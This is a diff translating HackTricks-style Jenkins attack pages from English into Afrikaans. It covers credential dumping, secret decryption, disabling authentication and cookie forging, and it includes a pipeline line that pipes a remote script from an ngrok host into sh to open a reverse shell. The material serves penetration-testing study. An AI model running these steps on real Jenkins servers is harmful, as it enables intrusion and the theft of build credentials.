env #Search for USERNAME and PASS
|
||||
'''
|
||||
sh '''
|
||||
env #Search for USERNAME and PASS
|
||||
'''
|
||||
}
|
||||
|
||||
withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
|
||||
sh '''
|
||||
env #Search for SECRET
|
||||
'''
|
||||
sh '''
|
||||
env #Search for SECRET
|
||||
'''
|
||||
}
|
||||
|
||||
withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
|
||||
sh '''
|
||||
env # Search for USERPASS
|
||||
'''
|
||||
sh '''
|
||||
env # Search for USERPASS
|
||||
'''
|
||||
}
|
||||
|
||||
# You can also load multiple env variables at once
|
||||
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
|
||||
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
|
||||
sh '''
|
||||
env
|
||||
'''
|
||||
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
|
||||
sh '''
|
||||
env
|
||||
'''
|
||||
}
|
||||
```
|
||||
|
||||
At the end of this page you can **find all the credential types**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
|
||||
Aan die einde van hierdie bladsy kan jy **alle tipe geloofsbewyse** **vind**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
|
||||
|
||||
> [!WARNING]
|
||||
> The best way to **dump all the secrets at once** is by **compromising** the **Jenkins** machine (running a reverse shell in the **built-in node** for example) and then **leaking** the **master keys** and the **encrypted secrets** and decrypting them offline.\
|
||||
> More on how to do this in the [Nodes & Agents section](./#nodes-and-agents) and in the [Post Exploitation section](./#post-exploitation).
|
||||
> Die beste manier om **alle die geheime op een slag** te **dump** is deur die **Jenkins** masjien te **kompromitteer** (byvoorbeeld deur 'n omgekeerde skulp in die **ingeboude node** te laat loop) en dan die **master sleutels** en die **geënkripteerde geheime** te **lek** en dit offline te ontsleutel.\
|
||||
> Meer oor hoe om dit te doen in die [Nodes & Agents section](./#nodes-and-agents) en in die [Post Exploitation section](./#post-exploitation).
|
||||
|
||||
### Triggers
|
||||
|
||||
From [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): The `triggers` directive defines the **automated ways in which the Pipeline should be re-triggered**. For Pipelines which are integrated with a source such as GitHub or BitBucket, `triggers` may not be necessary as webhooks-based integration will likely already be present. The triggers currently available are `cron`, `pollSCM` and `upstream`.
|
||||
|
||||
Cron example:
|
||||
Van [die dokumentasie](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): Die `triggers` riglyn definieer die **geoutomatiseerde maniere waarop die Pipeline weer geaktiveer moet word**. Vir Pipelines wat geïntegreer is met 'n bron soos GitHub of BitBucket, mag `triggers` nie nodig wees nie, aangesien webhooks-gebaseerde integrasie waarskynlik reeds teenwoordig sal wees. Die huidige beskikbare triggers is `cron`, `pollSCM` en `upstream`.
|
||||
|
||||
Cron voorbeeld:
|
||||
```bash
|
||||
triggers { cron('H */4 * * 1-5') }
|
||||
```
|
||||
Kontroleer **ander voorbeelde in die dokumentasie**.
|
||||
|
||||
Check **other examples in the docs**.
|
||||
### Knoop & Agente
|
||||
|
||||
### Nodes & Agents
|
||||
'n **Jenkins-instansie** mag **verskillende agente op verskillende masjiene hê**. Vanuit 'n aanvaller se perspektief beteken toegang tot verskillende masjiene **verskillende potensiële wolkakkredite** om te steel of **verskillende netwerktoegang** wat misbruik kan word om ander masjiene te ontgin.
|
||||
|
||||
A **Jenkins instance** might have **different agents running in different machines**. From an attacker perspective, access to different machines means **different potential cloud credentials** to steal or **different network access** that could be abuse to exploit other machines.
|
||||
|
||||
For more information check the basic information:
|
||||
Vir meer inligting, kyk na die basiese inligting:
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
You can enumerate the **configured nodes** in `/computer/`, you will usually find the \*\*`Built-In Node` \*\* (which is the node running Jenkins) and potentially more:
|
||||
Jy kan die **gekonfigureerde knope** in `/computer/` opnoem, jy sal gewoonlik die \*\*`Built-In Node` \*\* (wat die knoop is wat Jenkins uitvoer) en moontlik meer vind:
|
||||
|
||||
.png>)
|
||||
|
||||
It is **specially interesting to compromise the Built-In node** because it contains sensitive Jenkins information.
|
||||
|
||||
To indicate you want to **run** the **pipeline** in the **built-in Jenkins node** you can specify inside the pipeline the following config:
|
||||
Dit is **spesiaal interessant om die Built-In knoop te kompromitteer** omdat dit sensitiewe Jenkins-inligting bevat.
|
||||
|
||||
Om aan te dui dat jy die **pipeline** in die **ingeboude Jenkins-knoop** wil **uitvoer**, kan jy die volgende konfigurasie binne die pipeline spesifiseer:
|
||||
```bash
|
||||
pipeline {
|
||||
agent {label 'built-in'}
|
||||
agent {label 'built-in'}
|
||||
```
|
||||
### Volledige voorbeeld
|
||||
|
||||
### Complete example
|
||||
|
||||
Pipeline in an specific agent, with a cron trigger, with pipeline and stage env variables, loading 2 variables in a step and sending a reverse shell:
|
||||
|
||||
Pypeline in 'n spesifieke agent, met 'n cron-trig, met pypeline en fase omgewingsveranderlikes, wat 2 veranderlikes in 'n stap laai en 'n omgekeerde shell stuur:
|
||||
```bash
|
||||
pipeline {
|
||||
agent {label 'built-in'}
|
||||
triggers { cron('H */4 * * 1-5') }
|
||||
environment {
|
||||
GENERIC_ENV_VAR = "Test pipeline ENV variables."
|
||||
}
|
||||
agent {label 'built-in'}
|
||||
triggers { cron('H */4 * * 1-5') }
|
||||
environment {
|
||||
GENERIC_ENV_VAR = "Test pipeline ENV variables."
|
||||
}
|
||||
|
||||
stages {
|
||||
stage("Build") {
|
||||
environment {
|
||||
STAGE_ENV_VAR = "Test stage ENV variables."
|
||||
}
|
||||
steps {
|
||||
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
|
||||
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
|
||||
sh '''
|
||||
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
|
||||
'''
|
||||
}
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage("Build") {
|
||||
environment {
|
||||
STAGE_ENV_VAR = "Test stage ENV variables."
|
||||
}
|
||||
steps {
|
||||
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
|
||||
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
|
||||
sh '''
|
||||
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
|
||||
'''
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
post {
|
||||
always {
|
||||
cleanWs()
|
||||
}
|
||||
}
|
||||
post {
|
||||
always {
|
||||
cleanWs()
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Arbitrary File Read to RCE
|
||||
## Arbitraire Lêer Lees na RCE
|
||||
|
||||
{{#ref}}
|
||||
jenkins-arbitrary-file-read-to-rce-via-remember-me.md
|
||||
@@ -326,43 +306,40 @@ jenkins-rce-creating-modifying-project.md
|
||||
jenkins-rce-creating-modifying-pipeline.md
|
||||
{{#endref}}
|
||||
|
||||
## Post Exploitation
|
||||
## Post Exploitatie
|
||||
|
||||
### Metasploit
|
||||
|
||||
```
|
||||
msf> post/multi/gather/jenkins_gather
|
||||
```
|
||||
### Jenkins Geheime
|
||||
|
||||
### Jenkins Secrets
|
||||
Jy kan die geheime lys deur toegang te verkry tot `/credentials/` as jy genoeg regte het. Let daarop dat dit slegs die geheime binne die `credentials.xml` lêer sal lys, maar **bou konfigurasielêers** mag ook **meer krediete** hê.
|
||||
|
||||
You can list the secrets accessing `/credentials/` if you have enough permissions. Note that this will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**.
|
||||
|
||||
If you can **see the configuration of each project**, you can also see in there the **names of the credentials (secrets)** being use to access the repository and **other credentials of the project**.
|
||||
As jy **die konfigurasie van elke projek kan sien**, kan jy ook daar die **name van die krediete (geheime)** sien wat gebruik word om toegang tot die repository te verkry en **ander krediete van die projek**.
|
||||
|
||||
.png>)
|
||||
|
||||
#### From Groovy
|
||||
#### Van Groovy
|
||||
|
||||
{{#ref}}
|
||||
jenkins-dumping-secrets-from-groovy.md
|
||||
{{#endref}}
|
||||
|
||||
#### From disk
|
||||
#### Van skyf
|
||||
|
||||
These files are needed to **decrypt Jenkins secrets**:
|
||||
Hierdie lêers is nodig om **Jenkins geheime te ontsleutel**:
|
||||
|
||||
- secrets/master.key
|
||||
- secrets/hudson.util.Secret
|
||||
|
||||
Such **secrets can usually be found in**:
|
||||
Sulke **geheime kan gewoonlik gevind word in**:
|
||||
|
||||
- credentials.xml
|
||||
- jobs/.../build.xml
|
||||
- jobs/.../config.xml
|
||||
|
||||
Here's a regex to find them:
|
||||
|
||||
Hier is 'n regex om hulle te vind:
|
||||
```bash
|
||||
# Find the secrets
|
||||
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
|
||||
@@ -372,11 +349,9 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
|
||||
# Secret example
|
||||
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
|
||||
```
|
||||
|
||||
#### Decrypt Jenkins secrets offline
|
||||
|
||||
If you have dumped the **needed passwords to decrypt the secrets**, use [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **to decrypt those secrets**.
|
||||
|
||||
As jy die **nodige wagwoorde om die geheime te ontsleutel** afgelaai het, gebruik [**hierdie skrif**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **om daardie geheime te ontsleutel**.
|
||||
```bash
|
||||
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
|
||||
06165DF2-C047-4402-8CAB-1C8EC526C115
|
||||
@@ -384,23 +359,20 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
|
||||
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
|
||||
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
|
||||
```
|
||||
|
||||
#### Decrypt Jenkins secrets from Groovy
|
||||
|
||||
#### Ontsleutel Jenkins geheime vanaf Groovy
|
||||
```bash
|
||||
println(hudson.util.Secret.decrypt("{...}"))
|
||||
```
|
||||
### Skep nuwe admin gebruiker
|
||||
|
||||
### Create new admin user
|
||||
1. Toegang die Jenkins config.xml lêer in `/var/lib/jenkins/config.xml` of `C:\Program Files (x86)\Jenkis\`
|
||||
2. Soek vir die woord `<useSecurity>true</useSecurity>` en verander die woord **`true`** na **`false`**.
|
||||
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
|
||||
3. **Herstart** die **Jenkins** bediener: `service jenkins restart`
|
||||
4. Gaan nou weer na die Jenkins portaal en **Jenkins sal nie enige geloofsbriewe vra** hierdie keer nie. Jy navigeer na "**Manage Jenkins**" om die **administrateur wagwoord weer** in te stel.
|
||||
5. **Aktiveer** die **sekuriteit** weer deur die instellings te verander na `<useSecurity>true</useSecurity>` en **herstart die Jenkins weer**.
|
||||
|
||||
1. Access the Jenkins config.xml file in `/var/lib/jenkins/config.xml` or `C:\Program Files (x86)\Jenkis\`
|
||||
2. Search for the word `<useSecurity>true</useSecurity>`and change the word \*\*`true` \*\* to **`false`**.
|
||||
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
|
||||
3. **Restart** the **Jenkins** server: `service jenkins restart`
|
||||
4. Now go to the Jenkins portal again and **Jenkins will not ask any credentials** this time. You navigate to "**Manage Jenkins**" to set the **administrator password again**.
|
||||
5. **Enable** the **security** again by changing settings to `<useSecurity>true</useSecurity>` and **restart the Jenkins again**.
|
||||
|
||||
## References
|
||||
## Verwysings
|
||||
|
||||
- [https://github.com/gquere/pwn_jenkins](https://github.com/gquere/pwn_jenkins)
|
||||
- [https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/](https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/)
|
||||
@@ -410,7 +382,3 @@ println(hudson.util.Secret.decrypt("{...}"))
|
||||
- [https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3](https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -6,48 +6,48 @@
|
||||
|
||||
### Username + Password
|
||||
|
||||
The most common way to login in Jenkins if with a username or a password
|
||||
Die mees algemene manier om in te log in Jenkins is met 'n gebruikersnaam of 'n wagwoord.
|
||||
|
||||
### Cookie
|
||||
|
||||
If an **authorized cookie gets stolen**, it ca be used to access the session of the user. The cookie is usually called `JSESSIONID.*`. (A user can terminate all his sessions, but he would need to find out first that a cookie was stolen).
|
||||
As 'n **geautoriseerde koekie gesteel word**, kan dit gebruik word om toegang te verkry tot die gebruiker se sessie. Die koekie word gewoonlik `JSESSIONID.*` genoem. (‘n Gebruiker kan al sy sessies beëindig, maar hy moet eers uitvind dat 'n koekie gesteel is).
|
||||
|
||||
### SSO/Plugins
|
||||
|
||||
Jenkins can be configured using plugins to be **accessible via third party SSO**.
|
||||
Jenkins kan geconfigureer word met behulp van plugins om **toeganklik te wees via derdeparty SSO**.
|
||||
|
||||
### Tokens
|
||||
|
||||
**Users can generate tokens** to give access to applications to impersonate them via CLI or REST API.
|
||||
**Gebruikers kan tokens genereer** om toegang te gee aan toepassings om hulle via CLI of REST API na te boots.
|
||||
|
||||
### SSH Keys
|
||||
|
||||
This component provides a built-in SSH server for Jenkins. It’s an alternative interface for the [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), and commands can be invoked this way using any SSH client. (From the [docs](https://plugins.jenkins.io/sshd/))
|
||||
Hierdie komponent bied 'n ingeboude SSH-bediener vir Jenkins. Dit is 'n alternatiewe koppelvlak vir die [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), en opdragte kan op hierdie manier met enige SSH-kliënt aangeroep word. (Van die [docs](https://plugins.jenkins.io/sshd/))
|
||||
|
||||
## Authorization
|
||||
|
||||
In `/configureSecurity` it's possible to **configure the authorization method of Jenkins**. There are several options:
|
||||
In `/configureSecurity` is dit moontlik om die **autorisasiemetode van Jenkins te configureer**. Daar is verskeie opsies:
|
||||
|
||||
- **Anyone can do anything**: Even anonymous access can administrate the server
|
||||
- **Legacy mode**: Same as Jenkins <1.164. If you have the **"admin" role**, you'll be granted **full control** over the system, and **otherwise** (including **anonymous** users) you'll have **read** access.
|
||||
- **Logged-in users can do anything**: In this mode, every **logged-in user gets full control** of Jenkins. The only user who won't have full control is **anonymous user**, who only gets **read access**.
|
||||
- **Matrix-based security**: You can configure **who can do what** in a table. Each **column** represents a **permission**. Each **row** **represents** a **user or a group/role.** This includes a special user '**anonymous**', which represents **unauthenticated users**, as well as '**authenticated**', which represents **all authenticated users**.
|
||||
- **Enigeen kan enigiets doen**: Selfs anonieme toegang kan die bediener administreer.
|
||||
- **Legacy mode**: Dieselfde as Jenkins <1.164. As jy die **"admin" rol** het, sal jy **volledige beheer** oor die stelsel ontvang, en **andersins** (insluitend **anonieme** gebruikers) sal jy **lees** toegang hê.
|
||||
- **Aangemelde gebruikers kan enigiets doen**: In hierdie modus, elke **aangemelde gebruiker kry volledige beheer** van Jenkins. Die enigste gebruiker wat nie volledige beheer sal hê nie, is die **anonieme gebruiker**, wat net **lees toegang** kry.
|
||||
- **Matrix-gebaseerde sekuriteit**: Jy kan **wie wat kan doen** in 'n tabel configureer. Elke **kolom** verteenwoordig 'n **toestemming**. Elke **ry** **verteenwoordig** 'n **gebruiker of 'n groep/rol.** Dit sluit 'n spesiale gebruiker '**anoniem**' in, wat **ongemagtigde gebruikers** verteenwoordig, sowel as '**geverifieerde**', wat **alle geverifieerde gebruikers** verteenwoordig.
|
||||
|
||||
.png>)
|
||||
|
||||
- **Project-based Matrix Authorization Strategy:** This mode is an **extension** to "**Matrix-based security**" that allows additional ACL matrix to be **defined for each project separately.**
|
||||
- **Role-Based Strategy:** Enables defining authorizations using a **role-based strategy**. Manage the roles in `/role-strategy`.
|
||||
- **Projek-gebaseerde Matrix Autorisasiestrategie:** Hierdie modus is 'n **uitbreiding** van "**Matrix-gebaseerde sekuriteit**" wat toelaat dat addisionele ACL-matrix **vir elke projek apart gedefinieer word.**
|
||||
- **Rol-gebaseerde Strategie:** Maak dit moontlik om autorisasies te definieer met 'n **rol-gebaseerde strategie**. Bestuur die rolle in `/role-strategy`.
|
||||
|
||||
## **Security Realm**
|
||||
|
||||
In `/configureSecurity` it's possible to **configure the security realm.** By default Jenkins includes support for a few different Security Realms:
|
||||
In `/configureSecurity` is dit moontlik om die **sekuriteitsgebied te configureer.** Standaard sluit Jenkins ondersteuning in vir 'n paar verskillende Sekuriteitsgebiede:
|
||||
|
||||
- **Delegate to servlet container**: For **delegating authentication a servlet container running the Jenkins controller**, such as [Jetty](https://www.eclipse.org/jetty/).
|
||||
- **Jenkins’ own user database:** Use **Jenkins’s own built-in user data store** for authentication instead of delegating to an external system. This is enabled by default.
|
||||
- **LDAP**: Delegate all authentication to a configured LDAP server, including both users and groups.
|
||||
- **Unix user/group database**: **Delegates the authentication to the underlying Unix** OS-level user database on the Jenkins controller. This mode will also allow re-use of Unix groups for authorization.
|
||||
- **Delegeer aan servlet-container**: Vir **delegasie van autentisering aan 'n servlet-container wat die Jenkins-beheerder uitvoer**, soos [Jetty](https://www.eclipse.org/jetty/).
|
||||
- **Jenkins se eie gebruikersdatabasis:** Gebruik **Jenkins se eie ingeboude gebruikersdatastoor** vir autentisering in plaas van om aan 'n eksterne stelsel te delegeer. Dit is standaard geaktiveer.
|
||||
- **LDAP**: Delegeer alle autentisering aan 'n geconfigureerde LDAP-bediener, insluitend beide gebruikers en groepe.
|
||||
- **Unix gebruikers/groep databasis**: **Delegeer die autentisering aan die onderliggende Unix** OS-vlak gebruikersdatabasis op die Jenkins-beheerder. Hierdie modus sal ook die hergebruik van Unix-groepe vir autorisasie toelaat.
|
||||
|
||||
Plugins can provide additional security realms which may be useful for incorporating Jenkins into existing identity systems, such as:
|
||||
Plugins kan addisionele sekuriteitsgebiede bied wat nuttig kan wees om Jenkins in bestaande identiteitsisteme in te sluit, soos:
|
||||
|
||||
- [Active Directory](https://plugins.jenkins.io/active-directory)
|
||||
- [GitHub Authentication](https://plugins.jenkins.io/github-oauth)
|
||||
@@ -55,31 +55,31 @@ Plugins can provide additional security realms which may be useful for incorpora
|
||||
|
||||
## Jenkins Nodes, Agents & Executors
|
||||
|
||||
Definitions from the [docs](https://www.jenkins.io/doc/book/managing/nodes/):
|
||||
Definisies van die [docs](https://www.jenkins.io/doc/book/managing/nodes/):
|
||||
|
||||
**Nodes** are the **machines** on which build **agents run**. Jenkins monitors each attached node for disk space, free temp space, free swap, clock time/sync and response time. A node is taken offline if any of these values go outside the configured threshold.
|
||||
**Nodes** is die **masjiene** waarop bou **agents werk**. Jenkins monitor elke aangehegte node vir skyfspasie, vrye tydelike ruimte, vrye swap, klok tyd/sink en reaksietyd. 'n Node word vanlyn geneem as enige van hierdie waardes buite die geconfigureerde drempel gaan.
|
||||
|
||||
**Agents** **manage** the **task execution** on behalf of the Jenkins controller by **using executors**. An agent can use any operating system that supports Java. Tools required for builds and tests are installed on the node where the agent runs; they can **be installed directly or in a container** (Docker or Kubernetes). Each **agent is effectively a process with its own PID** on the host machine.
|
||||
**Agents** **bestuur** die **taakuitvoering** namens die Jenkins-beheerder deur **executors** te gebruik. 'n Agent kan enige bedryfstelsel gebruik wat Java ondersteun. Gereedskap wat benodig word vir bou en toetse word op die node geïnstalleer waar die agent loop; hulle kan **direk of in 'n houer** (Docker of Kubernetes) geïnstalleer word. Elke **agent is effektief 'n proses met sy eie PID** op die gasheer masjien.
|
||||
|
||||
An **executor** is a **slot for execution of tasks**; effectively, it is **a thread in the agent**. The **number of executors** on a node defines the number of **concurrent tasks** that can be executed on that node at one time. In other words, this determines the **number of concurrent Pipeline `stages`** that can execute on that node at one time.
|
||||
'n **executor** is 'n **gleuf vir die uitvoering van take**; effektief, dit is **'n draad in die agent**. Die **aantal executors** op 'n node definieer die aantal **gelyktydige take** wat op daardie node op 'n slag uitgevoer kan word. Met ander woorde, dit bepaal die **aantal gelyktydige Pipeline `stages`** wat op daardie node op 'n slag kan uitvoer.
|
||||
|
||||
## Jenkins Secrets
|
||||
|
||||
### Encryption of Secrets and Credentials
|
||||
|
||||
Definition from the [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins uses **AES to encrypt and protect secrets**, credentials, and their respective encryption keys. These encryption keys are stored in `$JENKINS_HOME/secrets/` along with the master key used to protect said keys. This directory should be configured so that only the operating system user the Jenkins controller is running as has read and write access to this directory (i.e., a `chmod` value of `0700` or using appropriate file attributes). The **master key** (sometimes referred to as a "key encryption key" in cryptojargon) is **stored \_unencrypted**\_ on the Jenkins controller filesystem in **`$JENKINS_HOME/secrets/master.key`** which does not protect against attackers with direct access to that file. Most users and developers will use these encryption keys indirectly via either the [Secret](https://javadoc.jenkins.io/byShortName/Secret) API for encrypting generic secret data or through the credentials API. For the cryptocurious, Jenkins uses AES in cipher block chaining (CBC) mode with PKCS#5 padding and random IVs to encrypt instances of [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) which are stored in `$JENKINS_HOME/secrets/` with a filename corresponding to their `CryptoConfidentialKey` id. Common key ids include:
|
||||
Definisie van die [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins gebruik **AES om geheime**, kredensiale, en hul onderskeie versleuteling sleutels te versleutel en te beskerm. Hierdie versleuteling sleutels word gestoor in `$JENKINS_HOME/secrets/` saam met die meester sleutel wat gebruik word om genoemde sleutels te beskerm. Hierdie gids moet geconfigureer word sodat slegs die bedryfstelsel gebruiker wat die Jenkins-beheerder uitvoer, lees- en skrywe toegang tot hierdie gids het (d.w.s. 'n `chmod` waarde van `0700` of deur toepaslike lêer eienskappe te gebruik). Die **meester sleutel** (soms verwys as 'n "sleutel versleuteling sleutel" in cryptojargon) is **gestoor \_onversleuteld\_** op die Jenkins-beheerder lêerstelsel in **`$JENKINS_HOME/secrets/master.key`** wat nie teen aanvallers met direkte toegang tot daardie lêer beskerm nie. Meeste gebruikers en ontwikkelaars sal hierdie versleuteling sleutels indirek gebruik via óf die [Secret](https://javadoc.jenkins.io/byShortName/Secret) API vir die versleuteling van generiese geheime data of deur die kredensiale API. Vir die cryptocurious, gebruik Jenkins AES in cipher block chaining (CBC) modus met PKCS#5 padding en random IVs om voorbeelde van [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) te versleutel wat gestoor word in `$JENKINS_HOME/secrets/` met 'n lêernaam wat ooreenstem met hul `CryptoConfidentialKey` id. Algemene sleutel id's sluit in:
|
||||
|
||||
- `hudson.util.Secret`: used for generic secrets;
|
||||
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: used for some credentials types;
|
||||
- `jenkins.model.Jenkins.crumbSalt`: used by the [CSRF protection mechanism](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); and
|
||||
- `hudson.util.Secret`: gebruik vir generiese geheime;
|
||||
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: gebruik vir sommige kredensiale tipes;
|
||||
- `jenkins.model.Jenkins.crumbSalt`: gebruik deur die [CSRF beskermingsmeganisme](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); en
|
||||
|
||||
### Credentials Access
|
||||
|
||||
Credentials can be **scoped to global providers** (`/credentials/`) that can be accessed by any project configured, or can be scoped to **specific projects** (`/job/<project-name>/configure`) and therefore only accessible from the specific project.
|
||||
Kredensiale kan **geskik word vir globale verskaffers** (`/credentials/`) wat deur enige geconfigureerde projek toegang verkry kan word, of kan geskik word vir **spesifieke projekte** (`/job/<project-name>/configure`) en dus slegs vanaf die spesifieke projek toeganklik wees.
|
||||
|
||||
According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Credentials that are in scope are made available to the pipeline without limitation. To **prevent accidental exposure in the build log**, credentials are **masked** from regular output, so an invocation of `env` (Linux) or `set` (Windows), or programs printing their environment or parameters would **not reveal them in the build log** to users who would not otherwise have access to the credentials.
|
||||
Volgens [**die docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Kredensiale wat in die omvang is, word sonder beperking aan die pyplyn beskikbaar gestel. Om **per ongeluk blootstelling in die boulog te voorkom**, word kredensiale **gemasker** van gewone uitvoer, so 'n aanroep van `env` (Linux) of `set` (Windows), of programme wat hul omgewing of parameters druk, sou **nie hulle in die boulog onthul nie** aan gebruikers wat andersins nie toegang tot die kredensiale sou hê nie.
|
||||
|
||||
**That is why in order to exfiltrate the credentials an attacker needs to, for example, base64 them.**
|
||||
**Dit is waarom 'n aanvaller, om die kredensiale te ontvoer, byvoorbeeld, hulle in base64 moet kodifiseer.**
|
||||
|
||||
## References
|
||||
|
||||
@@ -92,7 +92,3 @@ According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-m
|
||||
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,108 +2,104 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
In this blog post is possible to find a great way to transform a Local File Inclusion vulnerability in Jenkins into RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
|
||||
In hierdie blogpos is dit moontlik om 'n uitstekende manier te vind om 'n Local File Inclusion kwesbaarheid in Jenkins in RCE te transformeer: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
|
||||
|
||||
This is an AI created summary of the part of the post were the creaft of an arbitrary cookie is abused to get RCE abusing a local file read until I have time to create a summary on my own:
|
||||
Dit is 'n KI-gegenereerde opsomming van die deel van die pos waar die vervaardiging van 'n arbitrêre koekie misbruik word om RCE te verkry deur 'n plaaslike lêer te lees totdat ek tyd het om 'n opsomming op my eie te skep:
|
||||
|
||||
### Attack Prerequisites
|
||||
### Aanval Voorvereistes
|
||||
|
||||
- **Feature Requirement:** "Remember me" must be enabled (default setting).
|
||||
- **Access Levels:** Attacker needs Overall/Read permissions.
|
||||
- **Secret Access:** Ability to read both binary and textual content from key files.
|
||||
- **Kenmerk Vereiste:** "Remember me" moet geaktiveer wees (standaardinstelling).
|
||||
- **Toegangsvlakke:** Aanvaller benodig Algemene/Lees regte.
|
||||
- **Geheime Toegang:** Vermoë om beide binêre en teksinhoud van sleutel lêers te lees.
|
||||
|
||||
### Detailed Exploitation Process
|
||||
### Gedetailleerde Exploitasiestap
|
||||
|
||||
#### Step 1: Data Collection
|
||||
#### Stap 1: Data Versameling
|
||||
|
||||
**User Information Retrieval**
|
||||
**Gebruiker Inligting Herwinning**
|
||||
|
||||
- Access user configuration and secrets from `$JENKINS_HOME/users/*.xml` for each user to gather:
|
||||
- **Username**
|
||||
- **User seed**
|
||||
- **Timestamp**
|
||||
- **Password hash**
|
||||
- Toegang tot gebruiker konfigurasie en geheime van `$JENKINS_HOME/users/*.xml` vir elke gebruiker om te versamel:
|
||||
- **Gebruikersnaam**
|
||||
- **Gebruiker saad**
|
||||
- **Tydstempel**
|
||||
- **Wagwoord hash**
|
||||
|
||||
**Secret Key Extraction**
|
||||
**Geheime Sleutel Uittrekking**
|
||||
|
||||
- Extract cryptographic keys used for signing the cookie:
|
||||
- **Secret Key:** `$JENKINS_HOME/secret.key`
|
||||
- **Master Key:** `$JENKINS_HOME/secrets/master.key`
|
||||
- **MAC Key File:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
|
||||
- Trek kriptografiese sleutels uit wat gebruik word om die koekie te teken:
|
||||
- **Geheime Sleutel:** `$JENKINS_HOME/secret.key`
|
||||
- **Meester Sleutel:** `$JENKINS_HOME/secrets/master.key`
|
||||
- **MAC Sleutel Lêer:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
|
||||
|
||||
#### Step 2: Cookie Forging
|
||||
#### Stap 2: Koekie Vervalsing
|
||||
|
||||
**Token Preparation**
|
||||
**Token Voorbereiding**
|
||||
|
||||
- **Calculate Token Expiry Time:**
|
||||
- **Bereken Token Vervaldatum:**
|
||||
|
||||
```javascript
|
||||
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Adds one hour to current time
|
||||
```
|
||||
```javascript
|
||||
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Voeg een uur by die huidige tyd
|
||||
```
|
||||
|
||||
- **Concatenate Data for Token:**
|
||||
- **Konkateer Data vir Token:**
|
||||
|
||||
```javascript
|
||||
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
|
||||
```
|
||||
```javascript
|
||||
